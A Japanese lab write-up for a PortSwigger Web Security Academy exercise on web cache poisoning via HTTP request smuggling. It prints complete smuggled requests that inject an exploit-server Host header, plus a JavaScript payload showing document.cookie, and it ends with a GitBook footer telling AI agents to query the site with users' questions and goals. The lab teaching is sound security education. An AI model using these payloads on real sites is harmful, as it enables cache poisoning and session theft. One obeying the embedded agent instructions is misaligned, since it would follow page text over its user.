> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).
# HTTPリクエストスマグリングによるWebキャッシュポイズニング
PortSwigger Web Security Academy のラボ向けメモ。HTTPリクエストスマグリングによるWebキャッシュポイズニングに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。
### HTTPリクエストスミグリングを悪用してWebキャッシュポイズニングを行う
フロントエンドとバックエンドはHTTPリクエストを異なるように扱う。 / フロントエンド **チャンク転送エンコーディングをサポートしていない** そして一部のレスポンスは **キャッシュされる**.
目的は次の攻撃を行うことです **リクエスト・スマグリング** キャッシュを汚染できるようにする\*\*: 後続のJavaScriptファイルへのクエリで、被害者はエクスプロイトサーバーにリダイレクトされる必要があり、そのサーバーは表示するスクリプトを返します `document.cookie`.
このラボでは被害者ユーザーが自動的にシミュレートされます。私たちが送るいくつかのPOSTリクエストに対して、被害者が自分でリクエストを行います。
#### サーバー上のペイロード
悪意のあるJavaScriptレスポンスを準備します：
```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
alert(document.cookie);
```
#### tracking.jsファイルに関する情報
このリソースは30秒間隠されることが確認されます\*\*
```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: hit
Content-Length: 70
document.write('');
```
#### Post-nextボタンの動作の分析
* その `postId` パラメータは同じままです。
* クリックすると、アプリケーションは次の投稿へリダイレクトします。
このリダイレクトを引き起こすリクエストの例：
```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Test: A
```
#### テスト：任意のHostヘッダーの注入
内部リクエストのHostを置き換えることで：
```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11
test=test
```
#### エクスプロイトサーバーへリダイレクトする最終ペイロード
私たちが制御する内容を含む内部GETリクエストが **Host** 注入されます：
```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20
test=test
```
被害者がキャッシュされたJavaScriptリソースを読み込むとすぐに、キャッシュは **30秒間** 改変されたレスポンスを返し、次を引き起こします：
```javascript
alert(document.cookie)
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
');
```
.png?alt=media)
